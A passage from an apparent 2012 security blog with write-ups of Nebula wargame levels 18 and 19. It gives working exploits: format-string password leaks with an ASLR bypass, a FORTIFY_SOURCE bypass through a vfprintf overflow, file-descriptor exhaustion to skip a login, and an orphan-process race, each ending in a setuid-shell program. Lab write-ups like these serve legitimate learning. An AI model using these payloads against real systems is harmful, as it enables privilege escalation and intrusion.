#file_addr = 0xbffff3fc
#rand_addr = 0xbffff63c
os.close(pipe_r)
diff = 0x240 # rand_addr - file_addr
payload = "login\nsite exec ZZAAAA.%p.%p.%p.%p.%p.%p.%p|%p|%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\n"
os.write(pipe_w, payload)
sleep(3) #wait till the file is created for read
leak_data = open(param[1][2:],"r").read()
rand_addr = eval(leak_data[find(leak_data,'|0')+1:rfind(leak_data,'|')])
file_addr = rand_addr - diff  #randomized address of file[512] buffer
print("[*] Using address: {0}".format(hex(file_addr)))
final_payload = "login\nsite exec ZZ" + pack("<I",file_addr) + ".%p.%p.%p.%p.%p.%p.%p|%p|%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%s\n"
os.write(pipe_w, final_payload)
Without ASLR
level18@nebula:/tmp$ cat /proc/sys/kernel/randomize_va_space 
0
level18@nebula:/tmp$ python exploit.py 
[*] Using address: 0xbffff3fcL
level18@nebula:/tmp$ cat format | tail -1
ZZ����.0x217191.0x804c008.0x8048f3f.0xbffff61c.0x804c308.0xbffff641.0x8048f57|0xbffff63c|0x8048b86.0xbffff646.0x8048fca.0x9.0xbffff63c.(nil).0x11f74d.0xbffff804.0xbffff7f4.0x134be8.0x1.0xb7fffb18.0x65746973.0x65786520.0x5a5a2063.44226113-d394-4f46-9406-91888128e27a
With ASLR
level18@nebula:/tmp$ cat /proc/sys/kernel/randomize_va_space 
2
level18@nebula:/tmp$ python exploit.py 
[*] Using address: 0xbfc3b37cL
level18@nebula:/tmp$ cat format | tail -1
ZZ|�ÿ.0x432191.0x9ef3008.0x8048f3f.0xbfc3b59c.0x9ef3308.0xbfc3b5c1.0x8048f57|0xbfc3b5bc|0x8048b86.0xbfc3b5c6.0x8048fca.0x9.0xbfc3b5bc.(nil).0xcf774d.0xbfc3b784.0xbfc3b774.0x34fbe8.0x1.0xb7721b18.0x65746973.0x65786520.0x5a5a2063.44226113-d394-4f46-9406-91888128e27a
level18@nebula:/tmp$ python exploit.py 
[*] Using address: 0xbf93d0bcL
level18@nebula:/tmp$ cat format | tail -1
ZZ�Г�.0x1f6191.0x97f5008.0x8048f3f.0xbf93d2dc.0x97f5308.0xbf93d301.0x8048f57|0xbf93d2fc|0x8048b86.0xbf93d306.0x8048fca.0x9.0xbf93d2fc.(nil).0x32f74d.0xbf93d4c4.0xbf93d4b4.0x113be8.0x1.0xb77fab18.0x65746973.0x65786520.0x5a5a2063.44226113-d394-4f46-9406-91888128e27a
As you can see, we managed to read the password 44226113-d394-4f46-9406-91888128e27a from the stack using format string vulnerability bypassing ASLR.

Wednesday, September 26, 2012

Exploit Exercise - Improper File Handling

I noticed this vulnerability in Nebula [18] during a debugging session when trying to solve this level using format string vulnerability.
Vulnerability
        fp = fopen(PWFILE, "r");
 if(fp) {
  char file[64];

  if(fgets(file, sizeof(file) - 1, fp) == NULL) {
   dprintf("Unable to read password file %s\n", PWFILE);
   return;
  }
                fclose(fp); //no call to fclose is made in the disassembly of login
  if(strcmp(pw, file) != 0) return;  
 }
 dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : "");

 globals.loggedin = 1; 
//disas login
   0x08048c7e <+46>: call   0x8048750 <fopen@plt>
   0x08048c83 <+51>: test   %eax,%eax
   0x08048c85 <+53>: mov    %eax,%ebx
   0x08048c87 <+55>: je     0x8048cb5 <login+101>
   0x08048c89 <+57>: lea    0x1c(%esp),%esi
   0x08048c8d <+61>: mov    %eax,0x8(%esp)
   0x08048c91 <+65>: movl   $0x3f,0x4(%esp)
   0x08048c99 <+73>: mov    %esi,(%esp)
   0x08048c9c <+76>: call   0x8048670 <fgets@plt>
   0x08048ca1 <+81>: test   %eax,%eax
   0x08048ca3 <+83>: je     0x8048d18 <login+200>
   0x08048ca5 <+85>: mov    %esi,0x4(%esp)
   0x08048ca9 <+89>: mov    %edi,(%esp)
   0x08048cac <+92>: call   0x8048640 <strcmp@plt>
   0x08048cb1 <+97>: test   %eax,%eax
   0x08048cb3 <+99>: jne    0x8048cf4 <login+164>
In the above code globals.loggedin can be set to 1 if fopen() function fails. During the debugging session it failed as flag18 drops privileges within the debugger and it doesn't have the permission to read the password file. After reading through the error cases for fopen, I found a couple of them interesting in the context of the challenge - EMFILE and EINTR. The login function simply returns without closing the file it opened. Lets see if we can take advantage of this
level18@nebula:/tmp$ ulimit -Sn
1024
level18@nebula:/tmp$ ulimit -Hn
4096
level18@nebula:/tmp$ ulimit -a | grep files
open files                      (-n) 1024
level18@nebula:/tmp$ ulimit -Sn 50
level18@nebula:/tmp$ python -c 'print "login test\r\n"*50+"shell\r\n"' | /home/flag18/flag18 -d test -v -v -v
/home/flag18/flag18: error while loading shared libraries: libncurses.so.5: cannot open shared object file: Error 24
level18@nebula:/tmp$ cat test | tail
attempting to login
logged in successfully (without password file)
got [login test] as input
attempting to login
logged in successfully (without password file)
got [login test] as input
attempting to login
logged in successfully (without password file)
got [shell] as input
attempting to start shell
level18@nebula:/tmp$ cat /usr/include/asm-generic/errno-base.h | grep 24
#define EMFILE  24 /* Too many open files */
There is a per process limit for number of open file descriptors a process can have.ulimit can be used to change this number upto the hard limit. Here we reduce the number and force fopen to fail. Error 24 is nothing but "Too many open files". We need to close a few files inorder to lauch the shell. The application itself provides an option to close a file using "closelog" but I was not sure if this was enough. Lets try it out
level18@nebula:/tmp$ python -c 'print "login test\r\n"*50+"closelog\r\n"+"shell\r\n"' | /home/flag18/flag18 -d test -v -v -v
/home/flag18/flag18: -d: invalid option
We managed to launch the shell but the same arguments passed to flag18 binary is used for launching the shell too and bash complains about this, since its invalid options. After looking into the man page, we can find a few options to get things right.
level18@nebula:/tmp$ python -c 'print "login test\r\n"*50+"closelog\r\n"+"shell\r\n"' | /home/flag18/flag18 --rcfile -d test -v -v -v
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'r'
/home/flag18/flag18: invalid option -- 'c'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
test: line 1: Starting: command not found
test: line 2: got: command not found
As you can see, bash tries to execute commands from the 'test' file. So lets create a valid file and update the $PATH variable.
level18@nebula:/tmp$ cat Starting 
ulimit -Sn 1024
gcc -o shell shell.c
chmod 4770 shell
level18@nebula:/tmp$ cat shell.c 
int main(void)
{
 setresuid(geteuid(), geteuid(), geteuid());
 system("/bin/sh");
 return 0;
}
level18@nebula:/tmp$ export PATH=/tmp:$PATH
level18@nebula:/tmp$ python -c 'print "login test\r\n"*50+"closelog\r\n"+"shell\r\n"' | /home/flag18/flag18 --rcfile -d test -v -v -v 2>/dev/null
level18@nebula:/tmp$ ./shell
sh-4.2$ id
uid=981(flag18) gid=1019(level18) groups=981(flag18),1019(level18)

Sunday, September 23, 2012

Exploit Exercise - Format String FORTIFY_SOURCE Bypass

Level [18] in Nebula has a handful of vulnerabilities. We will use a format string vulnerability in the function "notsupported" to solve this level. The binary has few protections that we have to bypass inorder to achieve our goal.
Vulnerability
#define dprintf(...) if(globals.debugfile) fprintf(globals.debugfile, __VA_ARGS__)
void notsupported(char *what)
{
 char *buffer = NULL;
 asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
 dprintf(what);  //here is the format string vulnerability
 free(buffer);
}

Protections
level18@nebula:~$ ./checksec.sh --file /home/flag18/flag18 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   /home/flag18/flag18

level18@nebula:~$ ./checksec.sh --fortify-file /home/flag18/flag18 
* FORTIFY_SOURCE support available (libc)    : Yes
* Binary compiled with FORTIFY_SOURCE support: Yes

level18@nebula:~$ cat /proc/sys/kernel/randomize_va_space 
2
Of all this, FORTIFY_SOURCE is the protection that we have to concentrate on. The idea is to use format string vulnerability to set globals.loggedin variable and access the shell. ASLR is disabled using nebula root account for debugging purpose. We can set in it on when we run the final exploit, though the presence or absence of ASLR is not going to affect the exploit. Libc randomization can be disabled using resource limit in case needed.

We will be following the paper A Eulogy for Format Strings to bypass FORTIFY_SOURCE protection using an interger overflow bug in vfprintf.c code.
level18@nebula:~$ ulimit -s unlimited
level18@nebula:~$ ldd /home/flag18/flag18 
 linux-gate.so.1 =>  (0x40020000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x40028000)
 /lib/ld-linux.so.2 (0x40000000)
level18@nebula:~$ ldd /home/flag18/flag18 
 linux-gate.so.1 =>  (0x40020000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x40028000)
 /lib/ld-linux.so.2 (0x40000000)

level18@nebula:~$ ldd --version
ldd (Ubuntu EGLIBC 2.13-20ubuntu5) 2.13

fprintf_chk.c
int ___fprintf_chk (FILE *fp, int flag, const char *format, ...)
{
  va_list ap;
  int done;
  _IO_acquire_lock_clear_flags2 (fp);
  if (flag > 0)
    fp->_flags2 |= _IO_FLAGS2_FORTIFY;
  va_start (ap, format);
  done = vfprintf (fp, format, ap);
  va_end (ap);
  if (flag > 0)
    fp->_flags2 &= ~_IO_FLAGS2_FORTIFY;
  _IO_release_lock (fp);
  return done;
}
ldbl_strong_alias (___fprintf_chk, __fprintf_chk)

fp->_flags2
So as per the paper, we have to toggle off the _IO_FLAGS2_FORTIFY bit in the FILE* structure. Unlike stdout, fp FILE * structure is setup in stack. We have to locate the address of fp->_flags2 and nargs to disable FORTIFY_SOURCE protection.
level18@nebula:/tmp$ gdb -q /home/flag18/flag18 
Reading symbols from /home/flag18/flag18...(no debugging symbols found)...done.
(gdb) break vfprintf
Function "vfprintf" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (vfprintf) pending.
(gdb) run -d format -vvv
Starting program: /home/flag18/flag18 -d format -vvv

Breakpoint 1, 0x40068140 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) c
Continuing.

Breakpoint 1, 0x40068140 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) c
Continuing.
site exec %1$*269208516$x %1073741824$
##########################################################################
Since cdecl calling convention is used, the top of the stack will have the address of fp FILE structure. Lets check the disassembly when vfprintf is called before it crashes.
Breakpoint 1, 0x40068140 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) bt
#0  0x40068140 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
#1  0x4006d09b in ?? () from /lib/i386-linux-gnu/libc.so.6
#2  0x40068383 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
#3  0x4010e191 in __fprintf_chk () from /lib/i386-linux-gnu/libc.so.6
#4  0x08048d95 in notsupported ()
#5  0x08048b86 in main ()
(gdb) x/10i 0x4006d09b-16
   0x4006d08b: mov    %ecx,0x8(%esp)
   0x4006d08f: mov    %edx,0x4(%esp)
   0x4006d093: mov    %eax,(%esp)
   0x4006d096: call   0x40068130 <vfprintf>
   0x4006d09b: mov    0x38a0(%ebx),%ebp
   0x4006d0a1: test   %ebp,%ebp
   0x4006d0a3: mov    %eax,%edi
   0x4006d0a5: jne    0x4006d1c8
   0x4006d0ab: mov    -0x6c(%ebx),%eax
   0x4006d0b1: mov    %esi,0x20c4(%esp)
(gdb) x/x $eax
0xbfffef50: 0xfbad8004
(gdb) x/50x $eax
0xbfffef50: 0xfbad8004 0xbffff4e8 0x4006892c 0xbffff518
0xbfffef60: 0xbfffcf50 0xbfffcf50 0xbfffef50 0x00000000
0xbfffef70: 0x00000000 0x00000000 0x00000027 0x08049017
0xbfffef80: 0xfbad8004 0x00000000 0x00000000 0x00000004
###########################################################################
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x40069359 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) x/i $pc
=> 0x40069359 <vfprintf+4649>: movl   $0x0,(%edx,%eax,4)
fp->_flags2 is at 0xbfffef8c, then calculate the width argument needed to toggle off this.
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x40069359 in vfprintf () from /lib/i386-linux-gnu/libc.so.6

(gdb) p/d (0xbfffef8c-$edx)/4 + 1
$1 = 2848

site exec %1$*2848$ %1073741824$

(gdb) c
Continuing.
flag18: vfprintf.c:1823: _IO_vfprintf_internal: Assertion 's->_flags2 & 4' failed.

Program received signal SIGABRT, Aborted.
0x40020416 in __kernel_vsyscall ()
We got the width argument right, this causes the assert (s->_flags2 & _IO_FLAGS2_FORTIFY) to fail. Next we have to find the width argument to overwrite nargs.
nargs
(gdb) run -d format -vvv
Starting program: /home/flag18/flag18 -d asdf -vvv
site exec %1$*3735928559$x %1073741824$

Program received signal SIGSEGV, Segmentation fault.
0x4006927a in vfprintf () from /lib/i386-linux-gnu/libc.so.6

(gdb) x/i $pc
=> 0x4006927a >vfprintf+4426<: mov    %edx,0x8(%esp)
Search for nargs value in the stack. I found it in two locations, hit the right one. Then compute the required width argument
(gdb) set $x=0xbfff0000
(gdb) while(*++$x!=0xdeadbeef && $x<0xbffffffc)
 >end
(gdb) p/x $x
$5 = 0xbfffca88

(gdb) run -d format -vvv
Starting program: /home/flag18/flag18 -d format -vvv
site exec %1$*269208516$x %1073741824$

Program received signal SIGSEGV, Segmentation fault.
0x40069359 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) p/d (0xbfffca88-$edx)/4 + 1
$1 = 479

(gdb) run -d format -vvv
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/flag18/flag18 -d format -vvv
site exec %1$*479$ %1$*2848$ %1073741824$

Program received signal SIGSEGV, Segmentation fault.
0x40068cf0 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) x/i $eip
=> 0x40068cf0 <vfprintf+3008>: mov    (%ecx,%eax,4),%eax
(gdb) p/x $ecx+$eax*4
$6 = 0xc0004874
This is where I got stuck. After removing both flags, some computations are going beyond the stack segment and seg faults before returning from vfprintf. After a discussion in #io, the guys over there pointed out that it may be due to high base address of parameter list. So I decided to export a huge environment variable, this wil lower the stack address and SIGSEGV is avoided.
level18@nebula:/tmp$ export FORMA=`python -c 'print "A"*30000'`

(gdb) run -d format -vvv
Starting program: /home/flag18/flag18 -d format -vvv
site exec %1$*479$ %1$*2848$ %1073741824$
^C

Exploit
Now vfprintf returns without SIGSEGVing. As mentioned earlier we wil set globals.loggedin variable and then call the shell. globals.loggedin is at address 0x804b0b4. This address in .bss is not randomized even with ASLR set to 2. After messing up with FORTIFY_SOURCE I had problems locating the format string in stack using positional parameters. An easy workaround is to initialise stack with needed information as per this post Controlling uninitialized memory with LD_PRELOAD. We populate the stack with the address of globals.loggedin
level18@nebula:/tmp$ export LD_PRELOAD=`python -c 'print "B"*30000'`
(gdb) run -d format -vvv
Starting program: /home/flag18/flag18 -d format -vvv
site exec |%20$n| %1$*479$ %1$*2848$ %1073741824$

Program received signal SIGSEGV, Segmentation fault.
0x40072f00 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) x/i $eip
=> 0x40072f00 <vfprintf+11728>: mov    %edx,(%eax)
(gdb) p/x $eax
$1 = 0x42424242
(gdb) p/x $edx
$2 = 0x1


level18@nebula:/tmp$ export LD_PRELOAD=`python -c 'print "\xb4\xb0\x04\x08"*7500'`
level18@nebula:/tmp$ echo -e 'site exec |%20$x| %1$*479$ %1$*2848$ %1073741824$\r\n' | /home/flag18/flag18 -d format -v -v -v
level18@nebula:/tmp$ cat format
Starting up. Verbose level = 3
got [site exec |%20$x| %1$*479$ %1$*2848$ %1073741824$] as input
|804b0b4| %134525108%134525108 %got [] as input
We are almost done, with suitable bash options write into 0x804b0b4. As you can see bash displays the version info, using suitable options we can get an interactive priviledge shell to execute getflag. Im not going to discuss about it in this post.
level18@nebula:/tmp$ echo -e 'site exec |%20$n| %1$*479$ %1$*2848$ %1073741824$\r\nshell\r\n' | /home/flag18/flag18 --version -d format -v -v -v 2>/dev/null
GNU bash, version 4.2.10(1)-release (i686-pc-linux-gnu)
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Monday, September 10, 2012

Exploit Exercise - Orphan Process and Race Condition

Lets see how to solve level [19] in Nebula. The code given checks whether its parent process is root using /proc entry.
int main(int argc, char **argv, char **envp)
{
 pid_t pid;
 char buf[256];
 struct stat statbuf;
 /* Get the parent's /proc entry, so we can verify its user id */
 snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
 /* stat() it */
 if(stat(buf, &statbuf) == -1) {
  printf("Unable to check parent process\n");
  exit(EXIT_FAILURE);
 }
 /* check the owner id */
 if(statbuf.st_uid == 0) {
  /* If root started us, it is ok to start the shell */
  execve("/bin/sh", argv, envp);
  err(1, "Unable to execve");
 }
 printf("You are unauthorized to run this program\n");
}
This can be solved with little understanding about process management in linux. When a parent process exists before the child process returns, the child becomes an orphan process. It is inherited by init process with pid 1 and owned by root. We will use this concept for this challenge. The idea is to fork a child, put it into sleep. When the parent finishes execution, child(orphan) process calls execve() to execute the setuid flag19 binary.
exploit19.c

#include <stdio.h>
#include <unistd.h>

int main(void)
{
        pid_t child;
        char *file = "/home/flag19/flag19";
        char *arg[] = {"/bin/sh", NULL};
        child = fork();
        if(child == (pid_t) 0)
        {
                sleep(3);
                if(getppid() == (pid_t) 1)
                {
                printf("Orphan...\n");
                execve(file, NULL, NULL);
                }
        }
        else
                return 0;
}

I was expecting to get a privilege shell but that didnt happen. Everytime I ran the exploit, shell is launched but I was not able to interact with it.

level19@nebula:/tmp$ ps
  PID TTY          TIME CMD
 4951 pts/0    00:10:00 sh
 5300 pts/0    00:00:20 sh
 5323 pts/0    00:00:00 sh
 5327 pts/0    00:00:00 ps
level19@nebula:/tmp$ ./a.out
level19@nebula:/tmp$ Orphan....

level19@nebula:/tmp$ ps
  PID TTY          TIME CMD
 4951 pts/0    00:10:00 sh
 5300 pts/0    00:00:21 sh
 5323 pts/0    00:00:00 sh
 5329 pts/0    00:00:00 sh
 5330 pts/0    00:00:00 ps
level19@nebula:/tmp$
On googling, it seems that the shell launched from orphaned process cannot interact with a terminal. So we need a work around for this. This is the final exploit
exploit19.c

#include <stdio.h>
#include <unistd.h>

int main(void)
{
        pid_t child;
        char *file = "/home/flag19/flag19";
        char *arg[] = {"/bin/sh", "-c",
                       "gcc -o /tmp/sys /tmp/sys.c;chmod 4770 /tmp/sys", NULL};
        char *env[] = {"PATH=/bin:/usr/bin",NULL};
        child = fork();
        if(child == (pid_t) 0)
        {
                sleep(3);
                if(getppid() == (pid_t) 1)
                {
                printf("Orphan...\n");
                execve(file, arg, env);
                }
        }
        else
                return 0;
}
sys.c

int main(void)
{
        setresuid(geteuid(), geteuid(), geteuid());
        system("/bin/sh");
        return 0;
}


level19@nebula:/tmp$ gcc -o exploit19 exploit19.c
level19@nebula:/tmp$ ./exploit19
level19@nebula:/tmp$ Orphan...

level19@nebula:/tmp$ ./sys
sh-4.2$ id
uid=980(flag19) gid=1020(level19) groups=980(flag19),1020(level19)
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$

Sunday, September 9, 2012

First Post!!!

First post. Checking it out!
    #include <stdio.h>
    int main(void)
    {
      return 0;
    }